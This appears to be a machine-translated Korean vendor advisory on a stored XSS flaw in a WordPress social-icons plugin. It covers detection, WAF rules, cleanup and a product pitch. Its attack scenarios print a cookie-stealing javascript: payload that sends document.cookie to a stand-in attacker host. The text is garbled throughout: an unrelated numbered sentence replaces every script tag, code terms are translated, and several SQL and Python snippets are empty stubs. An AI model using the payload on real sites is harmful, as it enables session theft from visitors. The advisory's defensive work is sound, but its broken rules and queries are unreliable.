플러그인 이름	고급 소셜 미디어 아이콘
취약점 유형	크로스 사이트 스크립팅(XSS)
CVE 번호	CVE-2026-7659
긴급	중간
CVE 게시 날짜	2026-05-11
소스 URL	CVE-2026-7659

긴급 보안 권고: ‘고급 소셜 미디어 아이콘’(<= 1.2)에서 인증된(기여자) 저장 XSS — 귀하의 WordPress 사이트를 보호하는 방법

작가: WP‑Firewall 보안 팀
날짜: 2026-05-12

요약
“고급 소셜 미디어 아이콘” WordPress 플러그인에는 저장된 교차 사이트 스크립팅(XSS) 취약점(CVE-2026-7659)이 존재하며, 버전 <= 1.2에 영향을 미칩니다. 기여자 권한(또는 그 이상)을 가진 인증된 사용자는 나중에 사이트 방문자에게 렌더링되는 JavaScript 페이로드를 저장할 수 있으며, 이는 계정 탈취, 악성 리디렉션 또는 악성 소프트웨어 배포를 가능하게 할 수 있습니다. 이 권고는 위협, 악용 시나리오, 탐지 단계 및 즉각적 및 장기적 완화 방법을 개발자와 WordPress 사이트 운영자의 관점에서 설명합니다.

요약
저장된 XSS란 무엇이며 왜 중요한가
취약점의 기술적 세부사항
위험에 처한 사람들(역할, 버전, 전제 조건)
현실적인 공격 시나리오
귀하의 사이트가 취약한지 또는 악용되었는지 식별하는 방법
즉각적인 완화 단계(첫 24–48시간)
권장 WP‑Firewall WAF 규칙 및 구성 아이디어
악용 후 복구 및 정리
강화 및 장기적 예방
관리형 방화벽 및 스캐너 추가의 중요성
오늘 귀하의 사이트를 안전하게 보호하세요 — 무료 계획 이용 가능
부록: 유용한 CLI/DB 쿼리 및 샘플 탐지 스크립트
최종 메모 및 지원

요약

귀하의 사이트가 버전 1.2 또는 이전의 “고급 소셜 미디어 아이콘” 플러그인을 사용하는 경우, 다른 확인이 있을 때까지 플러그인이 취약하다고 가정해야 합니다. 이 취약점은 인증된 사용자(기여자 역할)가 플러그인 관리 데이터(예: 아이콘 필드, 링크 URL 또는 레이블)에 JavaScript 스니펫을 저장할 수 있게 하며, 이는 적절한 정화 또는 인코딩 없이 프론트 엔드 방문자에게 렌더링됩니다. 저장된 XSS는 다음과 같이 사용될 수 있습니다:

영향을 받는 페이지를 보는 방문자 또는 관리자의 컨텍스트에서 JavaScript를 실행합니다.
세션 쿠키를 훔치거나 다른 사용자로서 행동을 수행합니다(쿠키 또는 CSRF 보호가 약한 경우).
지속적인 리디렉션, 피싱 양식 또는 암호화폐/채굴 스크립트를 주입합니다.
드라이브 바이 다운로드를 위한 감염 배포기로 사이트를 사용합니다.

취약점이 저장되기 때문에, 단일 악의적인 기여자 계정이 플러그인이 악의적인 데이터를 출력하는 페이지나 위젯을 방문하는 모든 방문자에게 영향을 미칠 수 있습니다.

저장된 XSS란 무엇이며 왜 중요한가

교차 사이트 스크립팅(XSS)은 공격자가 피해자의 브라우저에서 공격자가 제어하는 JavaScript를 실행하도록 유도하는 주입 공격입니다. 저장된 XSS는 페이로드가 서버(데이터베이스, 옵션, 게시물 메타 또는 플러그인 설정)에 저장되고 나중에 피해자에게 전달됨을 의미합니다.

저장된 XSS는 특히 위험합니다.

지속적이며 많은 수의 방문자에게 영향을 미칠 수 있습니다.
익명 방문자와 사이트 사용자, 관리자 모두를 대상으로 할 수 있습니다.
계정 탈취로 무기화하거나 서버 측 악용으로 전환하는 것이 종종 간단합니다(예: REST API 남용, CSRF).

페이로드를 저장하는 데 필요한 사용자 역할이 기여자와 같이 낮더라도, 많은 사이트는 기여자가 나중에 더 높은 권한을 가진 사용자가 검토하는 콘텐츠를 제출할 수 있도록 허용합니다 — 이는 악용의 현실적인 기회를 만듭니다.

취약점의 기술적 세부사항

취약점 클래스: 저장된 크로스 사이트 스크립팅(XSS)
영향을 받는 플러그인: 고급 소셜 미디어 아이콘
영향을 받는 버전: <= 1.2
CVE: CVE‑2026‑7659
필요한 권한: 기여자 (인증됨)
패치: 게시 시점에 공식 패치가 제공되지 않음(업데이트를 위한 공급업체 권고 확인)

근본 원인(관찰된 전형적인 패턴):

플러그인은 소셜 아이콘 레이블, URL 또는 사용자 정의 HTML에 대한 사용자 입력을 수락하고 이를 데이터베이스에 저장합니다.
이러한 값을 프론트 엔드(위젯, 숏코드, 페이지 빌더)에서 렌더링할 때, 플러그인은 적절한 이스케이프/인코딩 없이, 위험한 속성이나 태그를 정리하거나 제거하지 않고 이러한 필드를 출력합니다.
URL 또는 아이콘 이름으로 예상되는 필드는 검증되지 않습니다; 자바스크립트: URL, 켜기* 이벤트 속성, 또는 13. 의심스러운 페이로드가 매개변수 또는 POST 본문에 포함된 요청을 차단하는 WAF 규칙 또는 가상 패치와 같은 추가 보호를 활성화하십시오. 태그가 수락되거나 저장되고 렌더링됩니다.

전형적인 취약한 싱크:

플러그인이 저장된 값을 직접 출력하는 위젯 출력 콜백.
사용하는 숏코드 렌더 함수 echo $값 대신에 esc_html(), esc_attr() 또는 esc_url().
템플릿 부분은 사용하여 포함됨 포함/필요 비정제 변수를 사용하여.

누가 위험에 처해 있나요?

버전이 <= 1.2인 플러그인을 실행하는 사이트.
사용자가 Contributor 또는 그 이상의 역할로 등록되거나 생성될 수 있는 사이트.
Contributor가 플러그인 기능이나 위젯에 접근할 수 있는 다중 저자 블로그.
관리자가 플러그인 필드를 포함할 수 있는 콘텐츠를 검토하는 사이트 — 이러한 높은 역할은 사회 공학을 통해 표적이 될 수 있습니다 (예: 기여자가 미리보기 시 악성 코드를 트리거하는 게시물을 제출함).

메모: 귀하의 사이트가 확인하지 않습니다. 이 플러그인을 사용하거나 공급업체에서 수정된 버전으로 업그레이드된 경우, 영향을 받지 않을 수 있습니다. 항상 플러그인 버전 및 공급업체 릴리스 노트를 확인하십시오.

현실적인 공격 시나리오

악성 기여자가 플러그인 제공 UI를 설치하거나 사용하여 새로운 소셜 아이콘 항목을 추가합니다. URL 필드에 입력하는 내용은:
javascript:fetch('https://attacker.example/steal?c=' + document.cookie)
사이트 방문자가 아이콘을 클릭할 때 (또는 플러그인이 URL을 href 자동으로 열리는 것으로 렌더링할 경우), 방문자의 쿠키가 유출됩니다.
기여자가 위젯에 표시되는 레이블 필드에 13. 의심스러운 페이로드가 매개변수 또는 POST 본문에 포함된 요청을 차단하는 WAF 규칙 또는 가상 패치와 같은 추가 보호를 활성화하십시오. 블록을 주입합니다:
<script>/* malicious landing page redirect or XHR */</script>
해당 위젯이 포함된 페이지의 모든 방문자는 스크립트를 실행합니다.
기여자가 아이콘을 추가하고 온마우스오버 속성을 사용하거나 텍스트만 기대하는 입력에 HTML 페이로드를 사용합니다; 플러그인이 안전하지 않게 렌더링하여 마우스가 상호작용할 때 이벤트가 실행됩니다.
사회 공학: 악성 기여자가 편집자/관리자가 콘텐츠를 미리 보거나 승인하도록 설득하는 콘텐츠를 생성합니다; 관리자가 미리 보기를 하면 관리 컨텍스트에서 저장된 XSS 페이로드가 호출되어 권한 남용 또는 사이트 인수로 이어질 수 있습니다.

기여자들이 종종 콘텐츠를 업로드하는 데 신뢰받기 때문에, 저장된 XSS는 감지되지 않을 수 있습니다.

귀하의 사이트가 취약한지 또는 악용되었는지 식별하는 방법

플러그인 버전 확인:
- 대시보드 -> 플러그인 -> “고급 소셜 미디어 아이콘” 찾기 -> 버전 확인. 만약 <= 1.2이면, 취약할 수 있습니다.
데이터베이스에서 의심스러운 문자열을 검색하십시오:
- 찾아보다 13. 의심스러운 페이로드가 매개변수 또는 POST 본문에 포함된 요청을 차단하는 WAF 규칙 또는 가상 패치와 같은 추가 보호를 활성화하십시오., 자바스크립트:, 마우스오버 시=, 오류 발생= 또는 플러그인 관련 옵션 이름, 포스트 메타 또는 위젯 설정의 다른 이벤트 핸들러.
유용한 WP‑CLI 및 SQL 쿼리 (예시는 부록에 있음):
- 스크립트 태그 또는 javascript: URI에 대해 포스트 메타 및 옵션 검색.
- WP‑CLI를 사용하여 위젯 설정을 내보내고 검사합니다.
웹 로그 및 분석:
- 알려지지 않은 도메인으로의 아웃바운드 연결에서 비정상적인 급증.
- 프론트엔드 로그 또는 CDN 로그에서 XHR 또는 리디렉션 활동에 대한 경고.
- 로그인 또는 예상치 못한 관리자 화면 활동. 미리보기 요청.
프런트엔드 검사:
- 인코그니토에서 소셜 아이콘 위젯이 포함된 페이지를 수동으로 탐색하고 예상치 못한 스크립트 태그나 속성을 보기 위해 페이지 소스를 확인합니다.
- JavaScript를 비활성화하고 콘텐츠에 여전히 의심스러운 마크업이 포함되어 있는지 확인합니다.
행동 지표:
- 리디렉션 또는 팝업을 보고하는 방문자.
- 검색 엔진이 사이트를 안전하지 않다고 표시.
- 예상치 못한 관리 변경 또는 콘텐츠 수정.

의심스러운 콘텐츠를 발견하면 사이트를 손상된 것으로 간주하고 격리 및 정리 절차를 진행합니다.

즉각적인 완화 단계(첫 24–48시간)

가능하다면 사이트를 유지 관리 모드로 전환하십시오 — 분석하는 동안 공용 방문자의 접근을 제한합니다.
가능하다면 플러그인을 일시적으로 비활성화하십시오:
- 대시보드 -> 플러그인 -> “고급 소셜 미디어 아이콘” 비활성화.
- 또는 SFTP를 통해 플러그인 폴더 이름을 변경하여 실행을 중지합니다 (wp-content/plugins/advanced-social-media-icons -> …_disabled).
사용자 역할 검토 및 제한:
- 플러그인 데이터 변경을 허용하는 기여자 역할 권한을 일시적으로 철회합니다(또는 새로운 사용자 등록을 차단합니다).
- 관리자/편집자 비밀번호를 변경하고 강력한 비밀번호와 2FA를 적용합니다(가능한 경우).
사이트를 즉시 스캔합니다:
- 악성 코드 스캐너 또는 보안 플러그인의 악성 코드 스캔을 실행합니다.
- 플러그인 데이터 및 최근 위젯을 내보내고 검사합니다. 13. 의심스러운 페이로드가 매개변수 또는 POST 본문에 포함된 요청을 차단하는 WAF 규칙 또는 가상 패치와 같은 추가 보호를 활성화하십시오./자바스크립트:.
공급업체에서 깨끗한 패치가 제공되면 즉시 적용하고 다시 스캔합니다.
공식 패치가 없는 경우:
- 저장된 데이터를 안전하게 정리할 수 없는 경우 플러그인을 영구적으로 제거하거나 비활성화합니다.
- 유지 관리되고 안전한 대체 기능으로 교체하거나 기본 테마 통합을 구축합니다.
이해관계자에게 알림:
- 사이트 소유자, 관리자 및 영향을 받는 당사자에게 취약성과 취한 조치에 대해 알립니다.
백업:
- 변경하기 전에 전체 백업을 수행합니다(데이터베이스 + 파일) 포렌식 분석을 위해. 백업은 오프라인으로 저장합니다.

권장 WP‑Firewall WAF 규칙 및 구성 아이디어

웹 애플리케이션 방화벽은 영구적인 수정이 적용되는 동안 악용을 줄이거나 차단하는 실용적인 레이어입니다. 아래는 WAF에서 구현할 수 있는 실용적인 규칙 및 제안(일반 패턴)입니다 — 이는 정규 표현식 및 요청 본문 검사를 지원하는 현대 WAF를 위한 예입니다.

중요한: 잘못된 긍정 결과를 측정하기 위해 먼저 감지/로그 모드에서 규칙을 테스트합니다.

의심스러운 페이로드가 있는 플러그인 관리자 엔드포인트에 대한 POST 차단:

관리자 플러그인 경로에  태그 또는 javascript: URI가 포함된 요청 본문 차단"

저장 시도 차단 자바스크립트: URI:

SecRule ARGS_NAMES|ARGS "(?i)href|url|link|icon" "chain,phase:2,deny,log,msg:'플러그인 필드에서 javascript: URI 차단'"

입력에서 이벤트 핸들러 속성 차단:

SecRule REQUEST_BODY "(?i)on\w+\s*=" "phase:2,deny,log,msg:'요청 본문에서 인라인 이벤트 핸들러 차단'"

차단을 위한 일반 규칙 13. 의심스러운 페이로드가 매개변수 또는 POST 본문에 포함된 요청을 차단하는 WAF 규칙 또는 가상 패치와 같은 추가 보호를 활성화하십시오. 태그:

SecRule REQUEST_BODY "(?i).*?" "phase:2,deny,log,msg:'요청 본문에서 인라인 스크립트 차단'"

비율 제한/행동 규칙:
- 주어진 계정이 짧은 시간 내에 플러그인 설정/위젯을 수정할 수 있는 횟수를 제한합니다.
- 반복적으로 플러그인 또는 위젯 업데이트를 하는 기여자 계정을 모니터링하고 제한합니다.
CSP (콘텐츠 보안 정책) 시행:
가능한 경우 인라인 스크립트를 허용하지 않도록 CSP 헤더를 추가합니다:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.example; object-src 'none'; report-uri /csp-report-endpoint
CSP는 인라인 스크립트 또는 신뢰할 수 없는 출처의 스크립트 실행을 방지하여 주입된 스크립트의 영향을 완화하는 데 도움이 되지만, CSP는 복잡할 수 있으므로 배포 전에 테스트하십시오.
WAF 예외 및 정화:
- 플러그인이 특정 POST 매개변수 이름을 사용하는 경우(플러그인 코드 또는 네트워크 호출 검사), 를 제거하거나 의심스러운 토큰이 포함된 페이로드를 거부하여 해당 필드를 정화하는 규칙을 작성합니다.
- 공급업체 패치를 기다리는 동안 WAF 가상 패칭(악용 가능한 패턴을 차단하는 서명)을 사용합니다.

메모: WAF는 적절한 서버 측 수정을 대체할 수 없습니다. WAF는 플러그인을 패치하거나 제거하는 동안 위험을 줄입니다.

악용 후 복구 및 정리

사이트를 격리하십시오:
정리하는 동안 오프라인으로 전환하거나 허용된 IP로 제한합니다.
증거 보존:
정리하기 전에 포렌식 분석을 위해 로그, 감염된 DB 항목 및 파일 사본을 내보냅니다.
HTML/DB 항목 정리:
플러그인 관련 테이블, 위젯 옵션, postmeta 및 플러그인 설정에서 저장된 페이로드를 제거합니다.
백업과 함께 신중한 검색 및 제거를 사용하십시오; 우발적인 데이터 손실을 피하십시오.
손상된 계정 및 자격 증명 재구성:
모든 관리자 및 편집자 비밀번호를 변경합니다.
API 키, 토큰 및 모든 OAuth 자격 증명을 취소하고 재발급하십시오.
관리 역할에 연결된 이메일 침해를 확인하십시오.
파일을 스캔하고 정리하십시오:
심어진 백도어를 탐지하기 위해 최신 맬웨어 스캐너를 실행하십시오.
검사합니다 wp-content/uploads, 테마 폴더 및 플러그인 디렉토리에서 알 수 없는 PHP 파일이나 예약된 작업을 확인하십시오.
깨끗한 소스에서 플러그인을 재설치하십시오:
플러그인을 계속 사용하려는 경우, 공급자가 패치를 릴리스한 후 공식 저장소에서 재설치하고 무결성을 확인하십시오.
알림:
사용자 데이터가 노출된 경우, 공개 및 수정에 대한 법적/규제 의무를 따르십시오.
사건 후 검토:
공격자가 시스템을 어떻게 악용했는지 문서화하고 정책 및 통제를 조정하십시오.

강화 및 장기적 예방

최소 권한의 원칙:
Contributor+ 권한이 있는 사용자 계정 수를 제한하십시오.
역할 관리 플러그인 또는 사용자 정의 기능을 사용하여 플러그인 설정이나 위젯을 편집할 수 있는 사람을 제한하십시오.
콘텐츠 검토 워크플로를 강화하십시오:
기여자가 플러그인 관리 위젯 콘텐츠를 직접 편집하는 것을 허용하지 마십시오.
조정 대기열을 사용하고 JavaScript가 비활성화된 상태에서 미리보기에서 콘텐츠를 확인하십시오.
입력 검증 및 출력 인코딩:
개발자: 항상 입력 시 유효성을 검사하고 정리하십시오; 출력을 이스케이프하십시오. esc_html(), esc_attr(), esc_url() 문맥에 따라 다릅니다.
모든 것을 업데이트 상태로 유지하십시오:
WordPress 코어, 테마 및 플러그인은 신속하게 업데이트해야 합니다. 공급자 보안 알림을 구독하십시오.
CSP 및 X-Content-Type-Options 헤더를 구현하십시오:
CSP는 XSS의 영향을 줄입니다.
X-Content-Type-Options: nosniff는 MIME 유형 스니핑을 방지합니다.
WAF + 맬웨어 스캐너:
관리형 WAF를 사용하여 공급자 수정이 적용될 때까지 새로 발견된 취약점을 커버하십시오. 서버 및 사이트 스캔을 정기적으로 실행하십시오.
모니터링 및 로깅:
관리자 작업, 플러그인 업데이트 및 의심스러운 POST 요청에 대한 자세한 로깅을 활성화합니다.
이상 징후를 감지하기 위해 SIEM 또는 모니터링 도구와 통합합니다.
백업 및 재해 복구:
오프사이트에 저장되고 복원 테스트가 수행된 빈번한 백업을 유지합니다.

관리형 방화벽 및 스캐너 추가의 중요성

계층화된 보안 접근 방식은 노출 창을 크게 줄입니다. 플러그인 공급자가 취약점을 패치하는 동안, 활성 WAF 및 스캐너는:

일반적인 악용 패턴을 감지하고 차단합니다 (인라인 스크립트, 자바스크립트: 로컬호스트.
제로데이와 가까운 악용 시도를 차단하는 가상 패칭을 제공합니다.
손상 징후(악성 소프트웨어, 의심스러운 변경 사항)를 스캔하고 경고합니다.
트래픽 행동 이상을 모니터링하고 대규모 악용 시도를 방지합니다.

이러한 기능은 즉각적인 플러그인 제거 또는 코드 수정이 불가능한 사이트에 특히 유용합니다 (예: 대규모 멀티사이트 배포, 복잡한 사용자 정의).

오늘 귀하의 사이트를 보호하십시오 — WP‑Firewall 무료 체험하기

이 취약점을 평가하고 수정하는 동안 보호를 추가하는 빠르고 비용이 들지 않는 방법을 원하신다면, WP-Firewall의 기본(무료) 플랜이 필수 방어를 제공합니다:

필수 보호: 프로덕션 등급 WAF가 포함된 관리형 방화벽, 무제한 대역폭, 악성 소프트웨어 스캔 및 OWASP Top 10 위험에 대한 커버리지.
이는 오늘 활성화하여 위험을 줄일 수 있는 가벼운 첫 단계입니다. 취약한 플러그인을 패치하거나 교체하는 동안 사용할 수 있습니다.

플랜을 빠르게 비교하고 여기에서 무료 기본 플랜을 시작하세요:
https://my.wp-firewall.com/buy/wp-firewall-free-plan/

(자동 정리 또는 더 고급 완화가 필요한 경우, 자동 악성 소프트웨어 제거, IP 블랙리스트/화이트리스트, 월간 보안 보고서 및 자동 가상 패칭이 포함된 표준 또는 프로 플랜을 고려하세요.)

부록 — 실용적인 CLI 및 SQL 검사

이를 시작점으로 사용하세요. 항상 스테이징 환경에서 테스트하고 수정 전에 백업하세요.

WP-CLI: 위젯 설정에서 스크립트 태그 검색

wp option get sidebars_widgets --format=json | jq '.' > widgets.json

SQL: 검색 wp_옵션 그리고 wp_postmeta 스크립트 태그 또는 javascript: URI에 대한
```
-- 옵션에서 스크립트 태그 찾기;
```
WP‑CLI: 최근 사용자 작업 내보내기 및 예상치 못한 변경 사항 확인
```
wp user list --role=contributor --fields=ID,user_login,user_email
```
내장된 스크립트를 위한 HTML 파일 스캔을 위한 기본 Python 스크립트 (예시)
```
import re, os
```

최종 메모 및 지원

플러그인 버전 확인 및 의심스러운 콘텐츠에 대한 관리자/위젯 데이터 검토를 우선시하십시오.
손상 증거를 발견하면 사이트를 격리하고 포렌식 정리를 위해 보안 전문가를 고용하십시오.
강력한 스캔 프로그램과 결합된 WAF는 수정 계획을 세우는 동안 피해 범위를 줄입니다.

가상 패치 구현, WAF 서명 구성 또는 전체 사이트 스캔/정리를 실행하는 데 도움이 필요하시면, 저희 보안 운영 팀이 도와드릴 준비가 되어 있습니다. 즉각적인 보호를 위해 지금 WP‑Firewall Basic (무료) 플랜을 활성화하는 것을 고려하십시오:
https://my.wp-firewall.com/buy/wp-firewall-free-plan/

안전히 계세요,
WP‑Firewall 보안 팀

고급 소셜 아이콘 플러그인에서의 치명적인 XSS // 게시일: 2026-05-11 // CVE-2026-7659

긴급 보안 권고: ‘고급 소셜 미디어 아이콘’(<= 1.2)에서 인증된(기여자) 저장 XSS — 귀하의 WordPress 사이트를 보호하는 방법

목차

요약

저장된 XSS란 무엇이며 왜 중요한가

취약점의 기술적 세부사항

누가 위험에 처해 있나요?

현실적인 공격 시나리오

귀하의 사이트가 취약한지 또는 악용되었는지 식별하는 방법

즉각적인 완화 단계(첫 24–48시간)

권장 WP‑Firewall WAF 규칙 및 구성 아이디어

악용 후 복구 및 정리

강화 및 장기적 예방

관리형 방화벽 및 스캐너 추가의 중요성

오늘 귀하의 사이트를 보호하십시오 — WP‑Firewall 무료 체험하기

부록 — 실용적인 CLI 및 SQL 검사

최종 메모 및 지원

WP Security Weekly를 무료로 받으세요 👋
지금 등록하세요!!

무료 WordPress 보안 컨설팅을 예약하려면 저희에게 연락하세요.

고급 소셜 아이콘 플러그인에서의 치명적인 XSS // 게시일: 2026-05-11 // CVE-2026-7659

긴급 보안 권고: ‘고급 소셜 미디어 아이콘’(<= 1.2)에서 인증된(기여자) 저장 XSS — 귀하의 WordPress 사이트를 보호하는 방법

목차

요약

저장된 XSS란 무엇이며 왜 중요한가

취약점의 기술적 세부사항

누가 위험에 처해 있나요?

현실적인 공격 시나리오

귀하의 사이트가 취약한지 또는 악용되었는지 식별하는 방법

즉각적인 완화 단계(첫 24–48시간)

권장 WP‑Firewall WAF 규칙 및 구성 아이디어

악용 후 복구 및 정리

강화 및 장기적 예방

관리형 방화벽 및 스캐너 추가의 중요성

오늘 귀하의 사이트를 보호하십시오 — WP‑Firewall 무료 체험하기

부록 — 실용적인 CLI 및 SQL 검사

최종 메모 및 지원

WP Security Weekly를 무료로 받으세요 👋지금 등록하세요!!

무료 WordPress 보안 컨설팅을 예약하려면 저희에게 연락하세요.

WP Security Weekly를 무료로 받으세요 👋
지금 등록하세요!!